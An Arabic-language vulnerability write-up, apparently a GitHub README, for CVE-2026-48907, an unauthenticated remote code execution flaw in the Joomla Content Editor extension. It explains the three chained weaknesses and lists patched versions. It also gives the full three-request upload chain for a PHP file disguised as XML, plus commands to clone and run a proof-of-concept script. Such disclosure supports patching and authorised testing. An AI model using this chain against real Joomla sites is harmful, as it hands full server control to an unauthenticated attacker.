
إثبات مفهوم وتحليل تقني لـ CVE-2026-48907، وهي ثغرة تنفيذ كود عن بعد قبل المصادقة بتقييم CVSS 10.0 في محرر محتوى Joomla (JCE). يتضمن سلسلة هجوم من 3 طلبات وتحليل تفصيلي للتصحيح.
إثبات المفهوم (PoC) لثغرة CVE-2026-48907 — وهي ثغرة تنفيذ أوامر عن بُعد (RCE) بدون مصادقة بتصنيف CVSS 10.0 في إضافة Joomla Content Editor (JCE).
بحث من فريق Grayxploit الأمني
CVE-2026-48907 هي ثغرة حرجة في تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة تؤثر على إضافة Joomla Content Editor (JCE) — أشهر محرر Joomla — في جميع الإصدارات حتى 2.9.99.4.
من خلال ربط ثلاث نقاط ضعف مستقلة في سير استيراد ملفات تعريف JCE، يمكن لمهاجم غير مصادق تمامًا:
/tmp/ في الخادميتطلب الهجوم فقط 3 طلبات HTTP ويعمل ضد أي تثبيت Joomla افتراضي يعمل بإصدار JCE ضعيف.
درجة CVSS v4: 10.0 — حرجة
تم اكتشافها والكشف عنها علنًا بواسطة فريق أبحاث الأمن Grayxploit بعد الكشف المسؤول.
| البرنامج | الإصدارات الضعيفة | الإصدار المصحح |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (موصى به) |
ملاحظة: الإصدار 2.9.99.5 أدخل الإصلاح الأساسي. الإصدار 2.9.99.6 أضاف طبقات حماية إضافية. يُوصى بالترقية إلى 2.9.99.6 أو أحدث.
ينشأ الثغرة من نقطة نهاية استيراد ملفات تعريف JCE:
POST /index.php?option=com_jce&task=profiles.import
يسمح JCE للمسؤولين بتصدير واستيراد ملفات تعريف المحرر كملفات XML. يمكن الوصول إلى معالج الاستيراد بدون مصادقة ويقبل تحميلات ملفات عشوائية بسبب سلسلة من ثلاث نقاط ضعف مستقلة.
لم يقم عنصر التحكم في الاستيراد بأي فحص ACL:
public function import()
{
// الحاجز الوحيد: رمز CSRF — يمكن تجاوزه بسهولة
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … الدخول مباشرة في معالجة الملفات — لا يوجد فحص authorise()
}
يقوم Joomla بتضمين رمز CSRF في كل صفحة عامة كوسم meta أو متغير JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
يستطيع المهاجم ببساطة جلب الصفحة الرئيسية، واستخراج الرمز، وإعادة تشغيله. يمنع فحص CSRF الطلبات عبر المواقع — لكنه لا يمنع الطلبات النصية المباشرة. لم يكن هناك أي استدعاء لـ Factory::getUser() أو $user->authorise(...) في أي مكان في مسار الاستيراد.
استخدم معالج التحميل File::makeSafe() الذي يزيل فقط الأحرف غير القانونية في نظام الملفات — لا يتحقق أو يقيّد امتدادات الملفات:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // يزيل الأحرف غير القانونية فقط
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
اسم ملف مثل shell.xml.php يمر عبر File::makeSafe() دون تغيير. يقوم Apache's mod_php بتنفيذه لأن الامتداد الأخير المعترف به هو .php. تم قبول امتدادات مثل .php و .php5 و .phtml والمتغيرات ذات الرمزين.
File::upload() مع $allow_unsafe = true (CWE-116)تحتوي وظيفة File::upload() في Joomla على قائمة سوداء مدمجة للامتداد تمنع أنواع الملفات الخطيرة عندما يكون $allow_unsafe = false (الافتراضي):
// توقيع File::upload() في Joomla
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
كود JCE الضعيف عطل هذه الشبكة الأمان بشكل صريح:
// ضعيف — تمكين التحميلات غير الآمنة بشكل صريح
File::upload($source, $destination, false, true);
هذا المتغير المنطقي الواحد قلب القائمة السوداء الداخلية بأكملها لـ Joomla، مما سمح بكتابة .php و .php5 و .phtml وجميع الامتدادات الأخرى القابلة للتنفيذ على القرص.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← استخراج csrf_token من HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (تم كتابة الملف إلى /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← الرد: "3105" (45 × 69 = تأكيد RCE ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
لا يوجد ملف تعريف ارتباط (session cookie). لا اسم مستخدم. لا كلمة مرور. 3 طلبات HTTP.
⚠️ تم توفير إثبات المفهوم (PoC) هذا بشكل صارم لأغراض البحث الأمني المصرح به واختبار الاختراق. لا تستخدمه ضد أي نظام دون إذن كتابي صريح. الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] الهدف : http://localhost:9999
[] الحمولة : cve-2026-48907-4821.xml.php [] الخطوة 1 — جلب رمز CSRF...
[+] رمز CSRF: abcdef1234567890abcdef1234567890
[] الخطوة 2 — تحميل الحمولة...
[+] رد التحميل: HTTP 200
[*] الخطوة 3 — تشغيل الحمولة...
[حرج] تم تأكيد RCE — CVE-2026-48907